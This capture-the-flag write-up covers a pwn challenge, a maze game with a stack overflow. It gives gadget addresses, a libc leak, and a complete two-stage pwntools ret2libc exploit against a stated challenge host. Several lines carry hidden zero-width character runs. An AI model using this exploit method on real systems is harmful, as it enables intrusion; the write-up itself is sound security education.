← Back to Writeups
CUSTOMEasypwn

Chains

XESXOR9/2/20264 min read
#pwn#custom#easy#bss_command_staging#got_address_leak#remote_libc_fingerprinting#two_stage_ret2libc#linux

Chains

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: bss_command_staging, got_address_leak, remote_libc_fingerprinting, two_stage_ret2libc

Summary

Task: a stripped non-PIE ELF64 maze game asks for a name, but the real bug is an early stack overflow before the maze matters. Solution: leak __libc_start_main with write@plt, identify musl from the remote leak, read 'cat flag.txt' into .bss, and call system() with a second-stage ROP chain.

Chains — hackerlab

Description

Original title: Цепи

В этой игре столько различных цепочек решений. Да и не только цепей решений. Флаг точно в файле flag.txt :)

The service presents an ASCII maze and says Get $ and you win, which strongly suggests a gameplay challenge. In practice, the maze is a distraction: the binary contains a trivial stack overflow in the initial name prompt, and the flag is only reachable by exploiting the process and reading flag.txt.

Analysis

Binary overview

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • File: maze.elf
  • Architecture: ELF64, stripped, dynamically linked
  • Remote: 62.173.140.174:27400
  • Protections: Partial RELRO, NX enabled, no canary, no PIE

The important property is the lack of PIE and stack canary. That makes the binary immediately suitable for a classic ROP exploit.

Vulnerability

The vulnerable input happens before the maze interaction matters. The name-reading function allocates only 0x10 bytes on the stack and then performs:

c
read(0, buf, 0x100);

So we get a direct stack overflow. The exact offset to saved RIP is 0x18, which was enough to fully control execution. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Useful gadgets and targets:

text
pop rdi ; ret = 0x40128a
pop rsi ; ret = 0x4014ad
pop rdx ; ret = 0x4014af
ret            = 0x401016

puts@plt       = 0x401030
write@plt      = 0x401040
read@plt       = 0x401080
main           = 0x401561

__libc_start_main@got = 0x403fd8
puts@got              = 0x404000
write@got             = 0x404008
read@got              = 0x404028

.bss writable         = 0x404a80

Why the maze is irrelevant

Reaching $ in the maze only prints a success message and does not reveal the flag. That means the intended-looking in-game objective is a red herring or at least a secondary path. Since the overflow is reachable immediately at the first prompt, exploitation is strictly simpler than interacting with the maze logic. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stage 1: leak libc

The first ROP chain uses write(1, __libc_start_main@got, 8) and then returns to main:

python
flat(
    b'A' * 0x18,
    POP_RDI, 1,
    POP_RSI, LIBC_START_MAIN_GOT,
    POP_RDX, 8,
    WRITE,
    MAIN,
)

This leaks the resolved libc address stored in the GOT. The remote service was not using the glibc offsets I would normally expect; the leak matched musl instead. The successful remote offsets were:

text
__libc_start_main = 0x1bab4
system            = 0x41d6f

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So the base and system() address are computed as:

python
base = leak - 0x1bab4
system = base + 0x41d6f

Stage 2: stage command in .bss and call system

After returning to main, the program asks for the name again. The second chain does two things:

  1. read(0, .bss, len("cat flag.txt\x00"))
  2. call system(.bss)

The payload also includes a single ret for stack alignment before the final call.

This is enough because the challenge hint already tells us the flag is in flag.txt, and the remote process accepts a straightforward shell command. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

  1. Connect to the remote service.
  2. Ignore the maze and overflow the first name prompt.
  3. Use write@plt to leak __libc_start_main@got.
  4. Return to main to get a second clean input.
  5. Identify the remote libc layout as musl from the successful leak offsets.
  6. Compute system from the leaked __libc_start_main address.
  7. Use a second ROP chain to read cat flag.txt\x00 into .bss.
  8. Call system(.bss).
  9. Receive the flag from standard output.

Working exploit:

python
#!/usr/bin/env python3
from pwn import *
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

context.arch = 'amd64'

HOST, PORT = '62.173.140.174', 27400

OFFSET = 0x18
POP_RDI = 0x40128a
POP_RSI = 0x4014ad
POP_RDX = 0x4014af
RET = 0x401016
WRITE = 0x401040
READ = 0x401080
MAIN = 0x401561
LIBC_START_MAIN_GOT = 0x403fd8
BSS = 0x404a80

LIBC_START_MAIN_OFF = 0x1bab4
SYSTEM_OFF = 0x41d6f

io = remote(HOST, PORT)

# stage 1: leak libc
io.recvuntil(b'Enter your name: ')
p1 = flat(
    b'A' * OFFSET,
    POP_RDI, 1,
    POP_RSI, LIBC_START_MAIN_GOT,
    POP_RDX, 8,
    WRITE,
    MAIN,
)
io.send(p1 + b'\n')
io.recvuntil(b'Thank you!\n')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

leak = u64(io.recvn(8))
base = leak - LIBC_START_MAIN_OFF
system = base + SYSTEM_OFF

print('leak', hex(leak), 'base', hex(base), 'system', hex(system))

# sync to next prompt
io.recvuntil(b'Enter your name: ')

cmd = b'cat flag.txt\x00'
p2 = flat(
    b'B' * OFFSET,
    POP_RDI, 0,
    POP_RSI, BSS,
    POP_RDX, len(cmd),
    READ,
    RET,
    POP_RDI, BSS,
    system,
)
io.send(p2 + b'\n')
io.recvuntil(b'Thank you!\n')
io.send(cmd)

out = io.recvrepeat(3)
print(repr(out))
print(out.decode('latin-1', 'replace'))
io.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Observed successful output:

text
leak 0x7fb2388dfab4 base 0x7fb2388c4000 system 0x7fb238905d6f
CODEBY{REDACTED}

One important accuracy note: the exploit path was confirmed directly against the remote target. I did not fully validate it first inside a Linux-compatible local runtime matching the server environment. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍